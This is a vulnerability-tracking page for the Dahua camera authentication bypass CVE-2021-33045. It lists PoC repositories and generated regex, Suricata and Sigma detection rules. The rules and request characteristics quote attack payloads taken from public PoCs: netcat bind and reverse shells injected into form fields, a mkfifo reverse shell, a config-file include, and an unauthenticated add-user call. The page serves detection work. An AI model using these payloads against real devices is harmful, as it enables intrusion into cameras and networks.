PoC Monitor
← All CVEs
CVE-2021-33045published 15 Sep 2021 21:50 UTCData: JSON · API

Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices

Dahua IP Camera Authentication Bypass Vulnerability

Edge device · Camera / IoTknown edge product: Dahua Some Dahua IP Camera, Video Intercom, (high confidence)

The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.

First public PoC 26 daysafter publication · 11 Oct 2021
Public PoCs1110 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-287
CISA KEV 21 Aug 20242.9 years after publication

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900CVE published15 Sep 2021 · t = 0First public PoC11 Oct 2021 · t+26dAdded to CISA KEV21 Aug 2024 · t+2.9y

First public PoC 26 days after publication; added to CISA KEV 2.9 years after publication. First PoC: dongpohezui/cve-2021-33045 (created 11 Oct 2021, found by us: backfilled).

PoC repositories

Found on GitHub.

10 PoCs

PoCs 10
RepositoryCreatedStarsAssessment
mcw0/PoC 7 Mar 2017 −4.5 y 781 PoC older repo: PoC date unknown, not used for the first PoC
dongpohezui/cve-2021-33045 11 Oct 2021 +26 d 9 PoC via PoC Index
WhaleFell/CameraHack 11 Jul 2022 +299 d 251 PoC via PoC Index
blkgzs/CameraHack 13 Jul 2022 +301 d 34 PoC via PoC Index
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

readloud/PoC 14 Oct 2022 +1.1 y 0 PoC via PoC Index
Nxychx/TVT-NVR 10 Jan 2023 +1.3 y 1 PoC via PoC Index
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

naycha/TVT-NVR 10 Jan 2023 +1.3 y 0 PoC via PoC Index
naycha/TVT-config 10 Jan 2023 +1.3 y 1 PoC via PoC Index
naycha/NVR-CONFIG 10 Jan 2023 +1.3 y 1 PoC via PoC Index
naycha/TVT-NVR-config 10 Jan 2023 +1.3 y 1 PoC via PoC Index

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: Dahua IPC/VTH/VTO - Authentication Bypass10 Jun 202514 Nov 2026

PoC characteristics

What to hunt for in your logs · from 10 PoC repos

POST /form/AddIPFilter

Body markers
list=2 type=1 filterIp=$(nc -lp 1337 -e/bin/sh) in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/README.md:245 Nxychx/TVT-NVR/README.md:265 mcw0/PoC/README.md:245 mcw0/PoC/README.md:265 naycha/NVR-CONFIG/README.md:245 naycha/NVR-CONFIG/README.md:265

POST /form/DeleteIPFilter

Body markers
list=2 type=1 filterIp=$(nc -lp 1337 -e/bin/sh) in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/README.md:253 Nxychx/TVT-NVR/README.md:273 mcw0/PoC/README.md:253 mcw0/PoC/README.md:273 naycha/NVR-CONFIG/README.md:253 naycha/NVR-CONFIG/README.md:273

POST /index.cgi

Key headers
Cookie: viewnavi=yes; right=1
Body markers
submit1= loginname=$(for((i=0;i<91;i ));do echo -en A;done)$(echo -en XXXX) `for((i=0;i<2028;i ));do echo -en B;done`XXXX $(echo -en nc 192.168.57.1 4444 -e/bin/sh)�`for((i=0;i<1997;i ));do echo -en B;done`���� in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:31 Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:75 Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:756 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:31 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:75 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:756

PUT /geo-cgi/sdk_fw_check.cgi

Body markers
BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjozMDUNCkhJRDoxMTc2LE5hbWU6R1YtQlgzNDAwRSxEb3duVmVyOjMwMw0KSElEOjExNzUsTmFtZTpHVi1CWDE1MDBFLERvd25WZXI6MzAzDQpISUQ6MTEwMSxOYW1lOkdWLVVORkUyNTAzLERvd25WZXI6MzA2DQpISUQ6MTE0NSxOYW1lOkdWLVVOMjYwMCxEb3c= in application/x-www-form-urlencoded
Ports
80
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 mcw0/PoC/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/NVR-CONFIG/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-NVR/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-NVR-config/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-config/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61

GET /onvif-http/snapshot

Query
auth=YWRtaW46MTEK
Ports
12345
Seen in
2 repos: WhaleFell/CameraHack, blkgzs/CameraHack
Evidence
WhaleFell/CameraHack/hikvision/payload.py:35 blkgzs/CameraHack/hikvision/payload.py:35

POST /RPC2_Login

Key headers
Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.9 Origin: {var}/ Referer: {var}/ X-Requested-With: XMLHttpRequest
Body markers
"id" "method":"global.login" "params" "session" "method":"Security.addUserPlain" in application/json
Ports
12345
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Seen in
2 repos: WhaleFell/CameraHack, blkgzs/CameraHack
Evidence
WhaleFell/CameraHack/DaHua_autoAddUser.py:75 WhaleFell/CameraHack/dahua/bypass.py:23 WhaleFell/CameraHack/dahua/bypass.py:50 WhaleFell/CameraHack/dahua/bypass.py:59 blkgzs/CameraHack/dahua/bypass.py:23 blkgzs/CameraHack/dahua/bypass.py:50

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /requestSystemConfig
(?i)^/requestSystemConfig(?:[?#].*)?$
GET /JpegStream.cgi
(?i)^/JpegStream\.cgi\?(?:.*&)?username=GEOVISION\\.*password=;mkfifo /tmp/s0;nc -w 5 192\.168\.57\.1 1337</tmp/s0
GET /Maintain/upgrade.asp
(?i)^/Maintain/upgrade\.asp\?(?:.*&)?ID=
GET /PSIA/System/configurationData
(?i)^/PSIA/System/configurationData(?:[?#].*)?$
GET /PictureCatch.cgi
(?i)^/PictureCatch\.cgi\?(?:.*&)?username=GEOVISION.*password=;echo "<!--#include file="SYS_CFG"-->">tmp/Login\.htm;.*data_type=1.*attachment=1.*channel=1.*secret=1.*key=PWNED.*username=GEOVISION\\.*password=;mkfifo /tmp/s0;nc -w 5 192\.168\.57\.1 1337</tmp/s0

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /requestSystemConfig
alert http any any -> $HOME_NET [8080,50021] (msg:"GG PoC-Monitor CVE-2021-33045 Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/requestSystemConfig"; http.header; content:"Authorization: Basic"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2021-33045; classtype:web-application-attack; sid:9795466; rev:1;)
GET /JpegStream.cgi
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-33045 Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/JpegStream.cgi"; http.uri; content:"username=GEOVISION|5c|"; http.uri; content:"password=|3b|mkfifo /tmp/s0|3b|nc -w 5 192.168.57.1 1337</tmp/s0"; reference:url,poc.griffinguard.io/cve/CVE-2021-33045; classtype:web-application-attack; sid:9717805; rev:1;)
GET /Maintain/upgrade.asp
alert http any any -> $HOME_NET [8080,50021] (msg:"GG PoC-Monitor CVE-2021-33045 Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/Maintain/upgrade.asp"; http.uri; content:"ID="; reference:url,poc.griffinguard.io/cve/CVE-2021-33045; classtype:web-application-attack; sid:9708216; rev:1;)
GET /PSIA/System/configurationData
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-33045 Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/PSIA/System/configurationData"; reference:url,poc.griffinguard.io/cve/CVE-2021-33045; classtype:web-application-attack; sid:9052608; rev:1;)
GET /PictureCatch.cgi
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-33045 Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/PictureCatch.cgi"; http.uri; content:"username=GEOVISION"; http.uri; content:"password=|3b|echo |22|<!--#include file=|22|SYS_CFG|22|-->|22|>tmp/Login.htm|3b|"; http.uri; content:"data_type=1"; http.uri; content:"attachment=1"; http.uri; content:"channel=1"; http.uri; content:"secret=1"; http.uri; content:"key=PWNED"; http.uri; content:"username=GEOVISION|5c|"; http.uri; content:"password=|3b|mkfifo /tmp/s0|3b|nc -w 5 192.168.57.1 1337</tmp/s0"; reference:url,poc.griffinguard.io/cve/CVE-2021-33045; classtype:web-application-attack; sid:9511242; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /requestSystemConfig
title: Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt (CVE-2021-33045)
id: gg-pocmon-cve-2021-33045-9795466
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-33045. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-33045
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/requestSystemConfig'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.33045
GET /JpegStream.cgi
title: Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt (CVE-2021-33045)
id: gg-pocmon-cve-2021-33045-9717805
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-33045. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-33045
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/JpegStream.cgi'
    cs-uri-query|contains|all:
      - 'username=GEOVISION\'
      - 'password=;mkfifo /tmp/s0;nc -w 5 192.168.57.1 1337</tmp/s0'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.33045
GET /Maintain/upgrade.asp
title: Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt (CVE-2021-33045)
id: gg-pocmon-cve-2021-33045-9708216
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-33045. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-33045
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/Maintain/upgrade.asp'
    cs-uri-query|contains|all:
      - 'ID='
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.33045
GET /PSIA/System/configurationData
title: Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt (CVE-2021-33045)
id: gg-pocmon-cve-2021-33045-9052608
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-33045. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-33045
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/PSIA/System/configurationData'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.33045
GET /PictureCatch.cgi
title: Dahua Some Dahua IP Camera, Video Intercom, NVR, XVR devices exploit attempt (CVE-2021-33045)
id: gg-pocmon-cve-2021-33045-9511242
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-33045. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-33045
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/PictureCatch.cgi'
    cs-uri-query|contains|all:
      - 'username=GEOVISION'
      - 'password=;echo "<!--#include file="SYS_CFG"-->">tmp/Login.htm;'
      - 'data_type=1'
      - 'attachment=1'
      - 'channel=1'
      - 'secret=1'
      - 'key=PWNED'
      - 'username=GEOVISION\'
      - 'password=;mkfifo /tmp/s0;nc -w 5 192.168.57.1 1337</tmp/s0'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.33045